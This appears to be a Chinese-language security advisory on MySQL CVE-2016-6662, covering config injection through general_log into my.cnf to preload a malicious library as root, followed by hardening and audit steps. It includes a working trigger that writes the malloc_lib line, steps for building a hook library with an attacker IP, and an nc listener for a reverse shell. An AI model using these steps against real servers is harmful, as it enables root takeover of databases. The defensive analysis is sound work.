| 項目 | 詳情 |
|---|---|
| CVE 編號 | CVE-2016-6662 |
| 影響版本 | MySQL ≤ 5.7.15、5.6.33、5.5.52 及衍生版(MariaDB、Percona Server) |
| 風險等級 | 高(CVSS 7.8),可導致 root 程式碼執行 |
| 攻擊向量 | 本地/遠端(需 FILE 權限或 SQL 注入配合) |
| 核心機制 | 惡意寫入 my.cnf 注入 malloc_lib,啟動時 LD_PRELOAD 載入惡意 .so |
FILE 權限(或透過 SQL 注入獲得)。general_log 機制,將 general_log_file 指向 my.cnf(或 datadir/my.cnf),開啟日誌,寫入惡意 [mysqld] malloc_lib=/tmp/evil.so,關閉日誌。mysqld_safe 讀取配置,載入惡意共享庫,以 root 權限 執行任意程式碼。/etc/my.cnf 屬主為 mysql)許多錯誤安裝指南建議 chown mysql /etc/my.cnf,導致 mysql 使用者可寫入全域配置,直接注入。
/var/lib/mysql/my.cnf)預設安裝下 mysql 使用者對 datadir 有寫權限。MySQL 5.5/5.6 的 mysqld_safe 會自動讀取 $DATADIR/my.cnf;5.7 雖移除此行為,但若存在 /var/lib/mysql/.my.cnf 仍會被讀取。
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT ON `active_table` FOR EACH ROW
BEGIN
SET @sql = CONCAT("SET GLOBAL general_log_file='/var/lib/mysql/my.cnf';",
"SET GLOBAL general_log=ON;",
"SELECT '[mysqld] malloc_lib=/var/lib/mysql/evil.so' INTO @dummy;",
"SET GLOBAL general_log=OFF;");
PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt;
END;
當應用向 active_table 寫入資料時,Trigger 以 DEFINER 權限(root)執行,完成配置注入。
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl.c 中 ATTACKERS_IP、SHELL_PORT、INJECTED_CONF 路徑。nc -lvp 6033 等待反彈 Shell。chown root:root /etc/my.cnf /etc/mysql/my.cnf; chmod 644 /etc/my.cnf,確保 mysql 使用者不可寫入任何 my.cnf。general_log 或限制動態修改: SET GLOBAL general_log=OFF; 並移除 SUPER 權限對非管理帳號的授予。mysqld_safe 載入非標準路徑共享庫。FILE、SUPER、TRIGGER 權限。auditd 或 Tripwire 監控 /etc/my.cnf、/var/lib/mysql/*.cnf 變更並告警。/etc/my.cnf、/etc/mysql/my.cnf 擁有者是否為 root:root?datadir 下是否存在非預期的 .cnf、.my.cnf?FILE / TRIGGER?